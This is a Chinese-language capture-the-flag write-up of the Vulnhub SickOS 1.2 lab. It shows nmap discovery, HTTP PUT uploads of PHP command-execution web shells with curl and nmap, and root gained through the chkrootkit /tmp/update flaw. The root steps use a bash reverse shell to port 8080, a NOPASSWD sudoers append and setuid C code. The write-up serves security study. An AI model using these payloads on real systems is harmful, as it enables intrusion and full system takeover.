Vulnhub-靶機-SICKOS: 1.2
本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關
靶機下載之後使用僅主機模式載入到本地VMware Workstation工作站,需要發現目標靶機的IP地址,可以使用nmap,netdiscover,或者arp之類的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 當然也是可以使用Windows環境下mac地址掃描工具都是可以的,那麼本次演示就是arp-scan工具發現;此靶機的描述顯示是固定IP地址,所以在VMware上給了IP網段為10.10.10.0/24
地址:https://www.vulnhub.com/entry/sickos-12,144/
sudo nmap -Pn -p- -n -sC -sV -T5 -oN sickos.nmap 192.168.202.13
nmap掃描結果
就開放了兩個埠,先訪問下web應用
常規套路,爆破下目錄
發現了個test地址,訪問看看
看到了一個版本lighttpd/1.4.28 搜搜了相關可能存在漏洞的exp
但是上面搜尋出來的資訊對應版本號只有1.4.x可能符合,但是實際測試並未成功,使用nikto掃描下
未發現什麼有用的資訊,這裡是要根據經驗來判斷的,發現剛才上述出現的test目錄訪問的現象,猜測判斷是否存在PUT上傳漏洞,使用curl探測下
上述也是可以使用nc來探測是否能夠使用PUT方法,確認可以通過PUT直接上傳檔案,這裡本想列舉下所有通過PUT上傳的姿勢總結,但是已經大佬寫過了,那我就不班門弄斧了,下面是參考連結:
https://www.yeahhub.com/http-put-method-exploitation-live-penetration-testing/
https://zhuanlan.zhihu.com/p/41454441
通過burpsuite使用PUT方法上傳
正常請求
更改為PUT請求上傳檔案
上傳成功
測試執行命令
通過nmap使用PUT方法上傳
nmap -p 80 192.168.202.13 --script http-put --script-args http-put.url='/test/bmapbmfx.php',http-put.file='/home/kali/Downloads/sickos/cadavers.php'
效果
通過curl命令使用PUT方法上傳
curl --upload-file bmfx.php -v --url http://192.168.202.13/test/bmfx4.php -0 --http1.0 curl -i -X PUT -H "Content-Type: text/plain; charset=utf-8" -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/bmfxshit.php curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.202.13/test/bmfx1.php curl -X PUT -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/cmd2.php curl -v -H 'Expect:' -T bmfx.php "http://192.168.202.13/test/"
使用上述命令種的一種方式都可成功,已經測試過,上述都成功了,就可以開始提權了,我這靶機不是什麼原因,都是對的,反彈shell不成功,索性我上傳了個webshell,進行操作了
然後翻看網站根目錄和目標靶機的系統版本,發現系統版本還是Ubuntu 12.04 ,提權漏洞就很多了,看看計劃任務,發現了Chkrootkit
確認版本是0.49 丟到谷歌搜尋下,得到提權exphttps://www.exploit-db.com/exploits/33899
上述設定了很多種埠,反彈shell都不成功,後臺網上看到,說設定成本地監聽8080端口才能成功,猜想目標靶機設定了防火牆拒絕了很多大部分反彈外聯的埠,這裡設定本地監聽8080埠成功反彈shell
開始提權,根據exp的描述是目標靶機的Chkrootkit會週期性以root身份執行目錄/tmp/update的檔案,所以如果沒有這個檔案就建立
提權方式一:
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.202.6/8080 0>&1\n' > /tmp/update
本地監聽8080埠,等待反彈shell
提權方法二:
追加當前反彈shell使用者至sudoer進行提權
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /tmp/update
提權方法三:
不演示,之前靶機有演示過類似的,具體C程式碼如下:
#include<unistd.h> void main(void) { system("chown root:root /tmp/update"); system("chmod 4755 /tmp/update"); setuid(0); setgid(0); execl("/bin/sh","sh",NULL); }